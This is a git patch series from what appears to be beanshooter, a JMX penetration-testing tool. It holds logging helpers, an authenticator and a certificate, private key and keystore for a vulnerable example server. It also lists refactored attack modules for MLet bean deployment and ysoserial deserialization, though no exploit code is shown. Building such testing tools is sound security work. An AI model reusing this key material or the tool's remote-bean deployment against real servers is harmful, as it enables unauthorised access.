String third) + { + log(prefix() + blue(first) + " " + second + " " + yellow(third)); + } + + public static void printlnMixedYellowFirst(String first, String second) + { + log(prefix() + yellow(first) + " " + second); + } + + public static void printlnMixedYellowFirst(String first, String second, String third) + { + log(prefix() + yellow(first) + " " + second + " " + yellow(third)); + } + + public static void eprintlnMixedBlueFirst(String first, String second) + { + elog(eprefix() + blue(first) + " " + second); + } + + public static void erintlnMixedBlueFirst(String first, String second, String third) + { + elog(eprefix() + blue(first) + " " + second + " " + blue(third)); + } + + public static void eprintlnMixedYellowFirst(String first, String second) + { + elog(eprefix() + yellow(first) + " " + second); + } + + public static void eprintlnMixedYellowFirst(String first, String second, String third) + { + elog(eprefix() + yellow(first) + " " + second + " " + yellow(third)); + } + + public static void printMixedBlue(String first, String second) + { + log(prefix() + first + " " + blue(second), false); + } + + public static void printlnPlainMixedBlue(String first, String second) + { + log(first + " " + blue(second), true); + } + + public static void printlnPlainMixedBlue(String first, String second, String third) + { + log(first + " " + blue(second) + " " + third, true); + } + + public static void printMixedBlue(String first, String second, String third) + { + log(prefix() + first + " " + blue(second) + " " + third, false); + } + + public static void printMixedYellow(String first, String second) + { + log(prefix() + first + " " + yellow(second), false); + } + + public static void printMixedYellow(String first, String second, String third) + { + log(prefix() + first + " " + yellow(second) + " " + third, false); + } + + public static void eprintMixedBlue(String first, String second) + { + elog(eprefix() + first + " " + blue(second), false); + } + + public static void eprintMixedBlue(String first, String second, String third) + { + elog(eprefix() + first + " " + blue(second) + " " + third, false); + } + + public static void eprintMixedYellow(String first, String second) + { + elog(eprefix() + first + " " + yellow(second), false); + } + + public static void eprintMixedYellow(String first, String second, String third) + { + elog(eprefix() + first + " " + yellow(second) + " " + third, false); + } + + public static void printMixedBlueFirst(String first, String second) + { + log(prefix() + blue(first) + " " + second, false); + } + + public static void printMixedBlueFirst(String first, String second, String third) + { + log(prefix() + blue(first) + " " + second + " " + blue(third), false); + } + + public static void printMixedYellowFirst(String first, String second) + { + log(prefix() + yellow(first) + " " + second, false); + } + + public static void printMixedYellowFirst(String first, String second, String third) + { + log(prefix() + yellow(first) + " " + second + " " + yellow(third), false); + } + + public static void eprintMixedBlueFirst(String first, String second) + { + elog(eprefix() + blue(first) + " " + second, false); + } + + public static void erintMixedBlueFirst(String first, String second, String third) + { + elog(eprefix() + blue(first) + " " + second + " " + blue(third), false); + } + + public static void eprintMixedYellowFirst(String first, String second) + { + elog(eprefix() + yellow(first) + " " + second, false); + } + + public static void eprintMixedYellowFirst(String first, String second, String third) + { + elog(eprefix() + yellow(first) + " " + second + " " + yellow(third), false); + } + + public static void increaseIndent() + { + indent += 1; + } + + public static void decreaseIndent() + { + indent -= 1; + } + + public static String getIndent() + { + if( verbose ) + return " " + new String(new char[indent]).replace("\0", " "); + else + return " "; + } + + public static void disableColor() + { + ANSI_RESET = ""; + ANSI_YELLOW = ""; + ANSI_BLUE = ""; + } +} \ No newline at end of file diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/SimplePasswordAuthenticator.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/SimplePasswordAuthenticator.java new file mode 100644 index 0000000..fa686e0 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/SimplePasswordAuthenticator.java @@ -0,0 +1,74 @@ +package de.qtc.beanshooter.server.utils; + +import java.util.HashMap; +import java.util.Map; +import java.util.Map.Entry; + +import javax.management.remote.JMXAuthenticator; +import javax.security.auth.Subject; + +/** + * JMX endpoints can be protected by classes implementing the JMXAuthenticator interface. + * This class implements a simple password based authentication that can be plugged in a + * JMX server. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class SimplePasswordAuthenticator implements JMXAuthenticator { + + private Map credentials; + + /** + * Create a SimplePasswordAuthenticator with an empty credentials map. + */ + public SimplePasswordAuthenticator() + { + this.credentials = new HashMap(); + } + + /** + * Add a credential to the credential map. + * + * @param username username to add + * @param password password to add + */ + public void addCredential(String username, String password) + { + this.credentials.put(username, password); + } + + /** + * Check whether the incoming credential object has the correct format and contains + * a username and password combination that is also available in our credential map. + */ + @Override + public Subject authenticate(Object credentials) + { + Subject subject = null; + + if( credentials == null ) + throw new SecurityException("Authentication required."); + + if( credentials.getClass() != String[].class ) + throw new SecurityException("Invalid credential type."); + + String[] creds = (String[])credentials; + + if( creds.length != 2 ) + throw new SecurityException("Invalid credential type."); + + String username = creds[0]; + String password = creds[1]; + + for( Entry entry : this.credentials.entrySet() ) + { + if( entry.getKey().equals(username) && entry.getValue().equals(password) ) + subject = new Subject(); + } + + if( subject == null ) + throw new SecurityException("Bad credentials"); + + return subject; + } +} \ No newline at end of file diff --git a/docker/jmx-example-server/resources/trust/cert.pem b/docker/jmx-example-server/resources/trust/cert.pem new file mode 100644 index 0000000..cc176b8 --- /dev/null +++ b/docker/jmx-example-server/resources/trust/cert.pem @@ -0,0 +1,36 @@ +-----BEGIN CERTIFICATE----- +MIIGLTCCBBWgAwIBAgIUbKwYwdei2+xKlMpKf8XxknGzxVYwDQYJKoZIhvcNAQEL +BQAwgaUxCzAJBgNVBAYTAlhZMQ0wCwYDVQQIDARIZXJlMQ4wDAYDVQQHDAVUaGVy +ZTEWMBQGA1UECgwNSW5zZWN1cmUgQ29ycDEUMBIGA1UECwwLSmF2YSBEZXZvcHMx +FjAUBgNVBAMMDWlpbnNlY3VyZS5kZXYxMTAvBgkqhkiG9w0BCQEWIml2YW4uaW5z +ZWN1cmVAaW5zZWN1cmUuZGV2Lm5vcGUubm8wHhcNMjAwOTE5MTQxOTI5WhcNNDgw +MjA1MTQxOTI5WjCBpTELMAkGA1UEBhMCWFkxDTALBgNVBAgMBEhlcmUxDjAMBgNV +BAcMBVRoZXJlMRYwFAYDVQQKDA1JbnNlY3VyZSBDb3JwMRQwEgYDVQQLDAtKYXZh +IERldm9wczEWMBQGA1UEAwwNaWluc2VjdXJlLmRldjExMC8GCSqGSIb3DQEJARYi +aXZhbi5pbnNlY3VyZUBpbnNlY3VyZS5kZXYubm9wZS5ubzCCAiIwDQYJKoZIhvcN +AQEBBQADggIPADCCAgoCggIBAL6jhATvf/UzjILj5i7Fnhkbh5aJSG/pL9q0nFU/ +a8glgYIX+G6PfHw2+lsa7RMWYxB6wnNsdvKs+yvFOICZLLq2fFrjv9ldOhaqoJk6 +uoPJcWR4OUNCEyY1ZUpz5ihmXn5Hp/I1WIZheGXh4mJrZr0XlyOUUTSrKHAvg2c7 +lkNAA3klwmF3i+7f1si5SQaRBzEANCwb1Pawnn8sXxWlt6wJlBucBiSf8EgMSHef +fZQ7OmbvOpSihy8sQgFpmUW/fzQnY4RQ4la+IzZGsZCpryIxxygoZSurA6mEgON8 ++1sMUk4mdFv72vMHoy77JOrSra5EUqfce3QllgSmx2LJWFgSeGVsLxy/6JSSCCP2 +mXxEcwCb5e7s8L6tPnmY/oMmZDaL2EIubMuq6bkjYP/5HO/SMqzyLrvKy80fsFLO +jvRQS+fMOjQBGAYK0ugtF0tXbnRmuNLOe9HNOPdpnb+p6ILzdIAZNrtrJh0g0CRr +aEgDRCsyuzgU63Ib2PXjzzwCoJiA3yJYFM2bnn+sfp6fVM9POIHg6/y2TzWXKlfN +5tXUaUmAUmWb+TSM2ZqEMozBUp+Gixmxii7Rsz+1nFchedRVfPCnFyrnSb6/mYF8 +n+Spk1744XJEBJs8DLB8sdFCvuK/Wc6J2q5Pfirre9JW5a+cmgpIaOoxTMF6xLEU +CgAJAgMBAAGjUzBRMB0GA1UdDgQWBBTOI8/+m4HD4CXNa9rWmeyMArFOqDAfBgNV +HSMEGDAWgBTOI8/+m4HD4CXNa9rWmeyMArFOqDAPBgNVHRMBAf8EBTADAQH/MA0G +CSqGSIb3DQEBCwUAA4ICAQBvXtoyAkYQcLBkR18GXNxmdAdnsqMyxawVx7Qr094+ +h/5FitCBdkOm8IvOjfml2WyBe9AK4zcvSm5RPxKW6qnPypGCUinaCVll939cHNAl +qoAjpFuIP/3q5LgM7tMOPw2NWcufj6pKfTjzk5fmYe4lLP69ag5vPEIJODNufcF+ +BOQyuqLF4bN+gfDwSTVMOtcjKoQaAgzLwvnsrpiet897jL6ycOjKDfRDjy0IwFQZ +xwW8ZB9SHzQVrqIdPi0/WRuV+UXSaXKPBOJ37SQWVWVrBHHkdUnEPxqg+Bh9it2m +9Sn08sJyrNRer73RcN6VQDtPA5c1jnENpOSrk9of7XXoAeP5WhSy1eZ56HW+aZIa +xln0sUyLY3ITK2c2iukYuzLdhcuWThTCSohKtlZrMc1Oi0uy7t4LxXgLblrKzFwB +1PXBjzJ5cOzPySwwydhbkZQfbfGbtnBzXm6qzYg9NzR5m4EkBfDFKa2XMWm4bXYR +rVsSpjKfSYOQn2lWgch2Dw45jPhW7VJc3joZBStbVnqUoVfvyasEPwRuuSfs9XN9 +TcpMhTPRB9rD4NC5Y5fQ3uvjF6GFLwVmpYkgLvtGfe02CLdhw/C3xV7lq0f8zRPV +aVkV3gQE7gRLn3B71fs7dXBzp3J0S6zIWgzQHJI+GQHSjAxrvLS1ynznrrfrjC0H +0g== +-----END CERTIFICATE----- diff --git a/docker/jmx-example-server/resources/trust/key.pem b/docker/jmx-example-server/resources/trust/key.pem new file mode 100644 index 0000000..131b419 --- /dev/null +++ b/docker/jmx-example-server/resources/trust/key.pem @@ -0,0 +1,52 @@ +-----BEGIN PRIVATE KEY----- +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 +1TUrLDaFm5pciepFNUGIR1jhWQ388B4= +-----END PRIVATE KEY----- diff --git a/docker/jmx-example-server/resources/trust/store.p12 b/docker/jmx-example-server/resources/trust/store.p12 new file mode 100644 index 0000000000000000000000000000000000000000..5b43b279e1afade5fd0a48bad4cd5c401be49db1 GIT binary patch literal 4341 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 literal 0 HcmV?d00001 From ca4d3df2e121a5a8d6bac5750981e5a7f6e3e07c Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 18 Jan 2022 07:53:27 +0100 Subject: [PATCH 014/100] Update package names of tonka bean classes Updated the package name of tonka bean classes to contain the beanshooter prefix. --- .../src/de/qtc/{ => beanshooter}/tonkabean/TonkaBean.java | 2 +- .../src/de/qtc/{ => beanshooter}/tonkabean/TonkaBeanMBean.java | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) rename tonka-bean/src/de/qtc/{ => beanshooter}/tonkabean/TonkaBean.java (97%) rename tonka-bean/src/de/qtc/{ => beanshooter}/tonkabean/TonkaBeanMBean.java (91%) diff --git a/tonka-bean/src/de/qtc/tonkabean/TonkaBean.java b/tonka-bean/src/de/qtc/beanshooter/tonkabean/TonkaBean.java similarity index 97% rename from tonka-bean/src/de/qtc/tonkabean/TonkaBean.java rename to tonka-bean/src/de/qtc/beanshooter/tonkabean/TonkaBean.java index d79f362..91318cd 100644 --- a/tonka-bean/src/de/qtc/tonkabean/TonkaBean.java +++ b/tonka-bean/src/de/qtc/beanshooter/tonkabean/TonkaBean.java @@ -1,4 +1,4 @@ -package de.qtc.tonkabean; +package de.qtc.beanshooter.tonkabean; import java.io.*; import java.nio.file.Files; diff --git a/tonka-bean/src/de/qtc/tonkabean/TonkaBeanMBean.java b/tonka-bean/src/de/qtc/beanshooter/tonkabean/TonkaBeanMBean.java similarity index 91% rename from tonka-bean/src/de/qtc/tonkabean/TonkaBeanMBean.java rename to tonka-bean/src/de/qtc/beanshooter/tonkabean/TonkaBeanMBean.java index c494443..5919443 100644 --- a/tonka-bean/src/de/qtc/tonkabean/TonkaBeanMBean.java +++ b/tonka-bean/src/de/qtc/beanshooter/tonkabean/TonkaBeanMBean.java @@ -1,4 +1,4 @@ -package de.qtc.tonkabean; +package de.qtc.beanshooter.tonkabean; import java.io.IOException; From d3e462ad9c427226691aba150a4eedcd25eee67f Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 18 Jan 2022 07:54:51 +0100 Subject: [PATCH 015/100] Continue refactoring Continued the refactoring. The global structure should now be relatively fixed. From here we can probably continue with more smaller stepped development. --- beanshooter/config.properties | 3 +- .../src/de/qtc/beanshooter/Starter.java | 11 +- .../src/de/qtc/beanshooter/cli/ArgType.java | 14 + .../qtc/beanshooter/cli/ArgumentHandler.java | 203 ++++++++- .../src/de/qtc/beanshooter/cli/Operation.java | 23 + .../src/de/qtc/beanshooter/cli/Option.java | 408 +---------------- .../de/qtc/beanshooter/cli/OptionGroup.java | 77 +++- .../de/qtc/beanshooter/cli/OptionHandler.java | 140 ++++++ .../de/qtc/beanshooter/cli/SASLMechanism.java | 189 ++++++++ .../exceptions/AuthenticationException.java | 64 +++ .../exceptions/ExceptionHandler.java | 79 +++- .../exceptions/MismatchedURIException.java | 27 ++ .../exceptions/SaslProfileException.java | 27 ++ .../src/de/qtc/beanshooter/io/Logger.java | 4 +- .../de/qtc/beanshooter/mbean/Dispatcher.java | 97 ++++ .../qtc/beanshooter/mbean/DynamicMBean.java | 79 ++++ .../src/de/qtc/beanshooter/mbean/IMBean.java | 18 + .../src/de/qtc/beanshooter/mbean/MBean.java | 176 +++++++ .../qtc/beanshooter/mbean/MBeanOperation.java | 244 ++++++++++ .../beanshooter/mbean/mlet/Dispatcher.java | 211 +++++++++ .../beanshooter/mbean/mlet/MLetOperation.java | 119 +++++ .../beanshooter/mbean/mlet/MLetOption.java | 243 ++++++++++ .../mbean/tonkabean/Dispatcher.java | 54 +++ .../mbean/tonkabean/TonkaBeanOperation.java | 195 ++++++++ .../mbean/tonkabean/TonkaBeanOption.java | 199 ++++++++ .../networking/LoopbackSocketFactory.java | 14 +- .../networking/LoopbackSslSocketFactory.java | 10 +- .../beanshooter/networking/RMIEndpoint.java | 2 +- .../networking/RMIRegistryEndpoint.java | 38 +- .../beanshooter/networking/StagerServer.java | 39 +- .../operation/BeanshooterOperation.java | 243 ++++++++++ .../operation/BeanshooterOption.java | 430 ++++++++++++++++++ .../qtc/beanshooter/operation/Dispatcher.java | 96 +++- .../operation/MBeanServerClient.java | 66 ++- .../qtc/beanshooter/operation/MLetClient.java | 105 ----- .../qtc/beanshooter/operation/Operation.java | 149 ------ .../plugin/IMBeanServerProvider.java | 4 +- .../beanshooter/plugin/IPayloadProvider.java | 19 + .../plugin/ISocketFactoryProvider.java | 9 +- .../qtc/beanshooter/plugin/JMXMPProvider.java | 20 - .../qtc/beanshooter/plugin/PluginSystem.java | 91 +++- .../DefaultSocketFactoryProvider.java | 30 +- .../plugin/providers/JMXMPProvider.java | 114 +++++ .../plugin/{ => providers}/JNDIProvider.java | 17 +- .../plugin/{ => providers}/RMIProvider.java | 52 ++- .../plugin/providers/YsoSerialProvider.java | 13 + .../de/qtc/beanshooter/utils/Constant.java | 24 - .../utils/DeserializationCanary.java | 23 + .../qtc/beanshooter/utils/RealmHandler.java | 67 --- .../src/de/qtc/beanshooter/utils/Utils.java | 28 +- .../qtc/beanshooter/utils/YsoIntegration.java | 72 +++ 51 files changed, 3792 insertions(+), 887 deletions(-) create mode 100644 beanshooter/src/de/qtc/beanshooter/cli/ArgType.java create mode 100644 beanshooter/src/de/qtc/beanshooter/cli/Operation.java create mode 100644 beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java create mode 100644 beanshooter/src/de/qtc/beanshooter/cli/SASLMechanism.java create mode 100644 beanshooter/src/de/qtc/beanshooter/exceptions/AuthenticationException.java create mode 100644 beanshooter/src/de/qtc/beanshooter/exceptions/MismatchedURIException.java create mode 100644 beanshooter/src/de/qtc/beanshooter/exceptions/SaslProfileException.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/Dispatcher.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/DynamicMBean.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/IMBean.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/MBean.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/MBeanOperation.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/mlet/MLetOperation.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/mlet/MLetOption.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/tonkabean/Dispatcher.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/tonkabean/TonkaBeanOperation.java create mode 100644 beanshooter/src/de/qtc/beanshooter/mbean/tonkabean/TonkaBeanOption.java create mode 100644 beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java create mode 100644 beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java delete mode 100644 beanshooter/src/de/qtc/beanshooter/operation/MLetClient.java delete mode 100644 beanshooter/src/de/qtc/beanshooter/operation/Operation.java create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/IPayloadProvider.java delete mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/JMXMPProvider.java rename beanshooter/src/de/qtc/beanshooter/plugin/{ => providers}/DefaultSocketFactoryProvider.java (64%) create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java rename beanshooter/src/de/qtc/beanshooter/plugin/{ => providers}/JNDIProvider.java (81%) rename beanshooter/src/de/qtc/beanshooter/plugin/{ => providers}/RMIProvider.java (78%) create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/providers/YsoSerialProvider.java delete mode 100644 beanshooter/src/de/qtc/beanshooter/utils/Constant.java create mode 100644 beanshooter/src/de/qtc/beanshooter/utils/DeserializationCanary.java delete mode 100644 beanshooter/src/de/qtc/beanshooter/utils/RealmHandler.java create mode 100644 beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java diff --git a/beanshooter/config.properties b/beanshooter/config.properties index fa3fca4..d514ba9 100644 --- a/beanshooter/config.properties +++ b/beanshooter/config.properties @@ -7,12 +7,13 @@ password= deploy_bean_class=de.qtc.tonkabean.TonkaBean deploy_bean_name=MLetTonkaBean:name=TonkaBean,id=1 deploy_jar_file=tonka-bean-3.0.0-jar-with-dependencies.jar +undeploy_bean_name=MLetTonkaBean:name=TonkaBean,id=1 boundName=jmxrmi jarPath=/opt/beanshooter/tonka-bean/target/ jarName=tonka-bean.jar 